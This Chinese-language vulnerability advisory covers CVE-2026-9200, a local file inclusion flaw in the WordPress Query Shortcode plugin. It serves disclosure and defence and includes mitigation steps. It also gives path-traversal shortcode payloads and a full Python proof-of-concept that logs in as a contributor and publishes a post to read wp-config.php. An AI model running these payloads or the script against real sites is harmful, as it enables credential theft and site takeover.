IPBUF安全漏洞报告
English
CVE-2026-9200 CVSS 7.5 高危

CVE-2026-9200 WordPress Query Shortcode插件本地文件包含漏洞

披露日期: 2026-05-27

漏洞信息

漏洞编号
CVE-2026-9200
漏洞类型
本地文件包含(LFI)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Query Shortcode插件(版本<=0.2.1)

相关标签

CVE-2026-9200本地文件包含WordPress插件Query ShortcodeLFI高危漏洞短代码注入权限绕过远程代码执行

漏洞概述

CVE-2026-9200是WordPress Query Shortcode插件中的一个高危本地文件包含漏洞。该插件在所有版本直至0.2.1版本中均存在此安全问题。漏洞源于shortcode函数对用户输入的文件路径缺乏充分的验证和过滤,使得攻击者可以通过构造特殊的短代码请求,包含服务器上的任意PHP文件并执行其中的代码。攻击者利用此漏洞可以绕过WordPress的访问控制机制,获取服务器上的敏感信息,甚至在特定条件下实现完整的远程代码执行,从而完全控制受影响的WordPress站点。此漏洞需要攻击者具备至少contributor(贡献者)级别的账户权限,属于低权限认证攻击场景,但由于无需用户交互且可通过网络远程利用,因此仍然具有较高的实际威胁性。建议受影响的用户立即更新至插件最新版本或采取临时缓解措施。

技术细节

该漏洞属于经典的本地文件包含(Local File Inclusion)类型,存在于Query Shortcode插件的shortcode处理逻辑中。具体来说,插件在处理短代码时,直接将用户可控的参数作为文件路径进行include或require操作,而没有对路径进行安全过滤或使用basename()等函数进行规范化处理。攻击者可以通过构造类似[query_shortcode file='../../../../etc/passwd']或[query_shortcode file='恶意PHP文件路径']的短代码来触发文件包含。由于WordPress的短代码机制允许在文章内容、页面内容甚至评论中插入,因此攻击面相当广泛。漏洞利用的关键前提是攻击者需要拥有一个至少具有contributor权限的WordPress账户。一旦成功利用,攻击者可以读取服务器敏感文件(如/etc/passwd、wp-config.php等)获取凭据信息,或者上传包含恶意代码的PHP文件后通过LFI包含执行,从而实现远程代码执行。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress contributor级别或更高权限的账户
STEP 2
步骤2
攻击者创建或编辑文章,插入恶意的shortcode标签:[query-shortcode file='../../wp-config.php']
STEP 3
步骤3
WordPress解析shortcode时,插件直接将file参数传递给PHP的include/require函数
STEP 4
步骤4
由于路径未做安全过滤,插件包含并执行了攻击者指定的任意PHP文件
STEP 5
步骤5
攻击者获取敏感配置信息(如数据库凭据、API密钥等),或通过上传并包含恶意PHP文件实现RCE

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9200 PoC - WordPress Query Shortcode LFI # Requires contributor+ level WordPress account import requests from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_csrf_token(session, url): """Fetch CSRF token from login page""" response = session.get(f"{url}/wp-login.php") soup = BeautifulSoup(response.text, 'html.parser') token = soup.find('input', {'name': '_wpnonce'}) return token['value'] if token else None def login_wordpress(session, username, password): """Authenticate to WordPress""" login_url = f"{TARGET_URL}/wp-login.php" csrf_token = get_csrf_token(session, TARGET_URL) payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', '_wpnonce': csrf_token, 'redirect_to': f"{TARGET_URL}/wp-admin/" } response = session.post(login_url, data=payload) return 'wordpress_logged_in' in session.cookies.get_dict() def exploit_lfi(session): """Exploit LFI via shortcode to read wp-config.php""" post_url = f"{TARGET_URL}/wp-admin/post-new.php" # Get CSRF token for post creation response = session.get(post_url) soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': '_wpnonce'})['value'] # Malicious shortcode to include wp-config.php malicious_content = "[query-shortcode file='../../wp-config.php']" post_data = { 'post_title': 'LFI Exploit Test', 'content': malicious_content, '_wpnonce': csrf_token, 'publish': 'Publish' } response = session.post(post_url, data=post_data) return response.status_code == 200 def main(): session = requests.Session() if login_wordpress(session, USERNAME, PASSWORD): print("[+] Successfully authenticated") if exploit_lfi(session): print("[+] Malicious post created, LFI triggered") print("[+] Check the published post to view wp-config.php contents") else: print("[-] Authentication failed") if __name__ == "__main__": main()

影响范围

Query Shortcode插件所有版本 <= 0.2.1

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:1) 临时禁用Query Shortcode插件;2) 使用WordPress安全插件限制contributor账户的编辑权限;3) 通过WAF规则阻止包含路径遍历字符(如../)的请求;4) 加强用户权限管理,确保没有信任的contributor账户存在;5) 监控wp-content目录下的异常文件创建和修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表